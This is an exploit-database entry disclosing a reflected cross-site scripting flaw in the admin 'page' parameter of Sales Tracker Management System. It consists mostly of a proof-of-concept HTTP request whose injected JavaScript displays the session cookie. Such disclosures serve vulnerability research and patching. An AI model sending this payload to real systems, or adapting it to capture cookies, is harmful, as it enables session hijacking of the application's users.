[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Sales Tracker Management System - Cross Site Scripting Vulnerability

Author
Abdulhakim Öner
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-38378
Category
web applications
Date add
24-03-2023
Platform
php
## Description 
A reflected Cross Site Scripting vulnerability in the "page" parameter in Sales Tracker Management System allows remote authenticated users to execute JavaScript code. 

## Request PoC
```
GET /php-sts/admin/?page=clients'%3balert(document.cookie)%2f%2f HTTP/1.1
Host: 192.168.1.100
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Connection: close
Cache-Control: max-age=0
Referer: http://192.168.1.100/php-sts/admin/
Cookie: PHPSESSID=n0brm8te79kaf0nvf7d1hvs6rm

```

#  0day.today [2024-12-25]  #